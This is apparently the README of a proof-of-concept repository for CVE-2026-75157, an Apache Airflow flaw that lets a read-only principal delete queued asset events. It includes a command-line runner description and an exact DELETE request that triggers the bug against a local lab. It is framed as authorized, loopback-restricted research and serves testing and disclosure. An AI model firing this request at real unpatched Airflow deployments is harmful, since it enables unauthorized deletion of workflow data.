
CVE-2026-75157 向けのスタンドアロン認証済みユニバーサル HTTP PoC
Apache Airflow 3.3.2 より前のバージョンにおける queued-events 認可の脆弱性に関する、許可されたセキュリティ研究用 PoC。
自身が所有する、または明示的にテストを許可された Airflow インスタンスに対してのみ実行すること。デフォルトのランナーは非ループバックのターゲットを拒否する。このリポジトリには、スキャン、ターゲット列挙、永続化、認証情報の窃取、破壊的なペイロードロジックは含まれていない。
README.md
poc.py
poc.py は、ターゲットを認識する汎用的な HTTP リクエストランナーである。ホストをハードコードする代わりに、ターゲット URL、メソッド、パス、ヘッダー、ボディ、認証ソース、および期待される結果をコマンドラインから受け取る。
ローカルの Airflow ラボに対するヘルスチェック:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
あらかじめ用意されたローカルの脆弱な Airflow インスタンスに対する CVE トリガー:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
トークンは、DAG の読み取りアクセス権と Assets の削除アクセス権を持つ使い捨てのプリンシパルに属している必要がある。予想される脆弱な挙動は、制限されたプリンシパルが queued-event を削除できることである。Airflow 3.3.2 以降では、そのプリンシパルが DAG の編集アクセス権も持たない限り、同じリクエストを拒否するはずである。
--target URL 必須。絶対 HTTP(S) ターゲット
--path PATH 任意。--target に結合されるパス
--method METHOD GET、POST、PUT、PATCH、DELETE、HEAD
--header 'Name: Value' 繰り返し指定可能なリクエストヘッダー
--bearer-env ENV ENV からベアラートークンを出力せずに読み取る
--json JSON JSON リクエストボディ
--body-file FILE 生のリクエストボディ
--expect-status STATUS 繰り返し指定可能な期待ステータスのアサーション
--expect-body TEXT 繰り返し指定可能なレスポンスボディのアサーション
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback 許可された非ラボターゲットに対する明示的なオプトイン
ランナーは、アサーション成功時に終了コード 0、スコープ/トランスポート/引数のエラー時に 1、HTTP アサーション失敗時に 2 を返す。Authorization および Cookie の値は出力時に伏せ字にされる。
Airflow 3.3.2 より前は、queued-events の DELETE ルートが DAG 軸を編集権限ではなく読み取り権限でチェックしていた。修正により、DAG の認可要件が書き込みレベルの権限に変更された。この PoC は実際の HTTP リクエストを送信するものであり、ラボユーザーやデータベースフィクスチャを作成するものではない。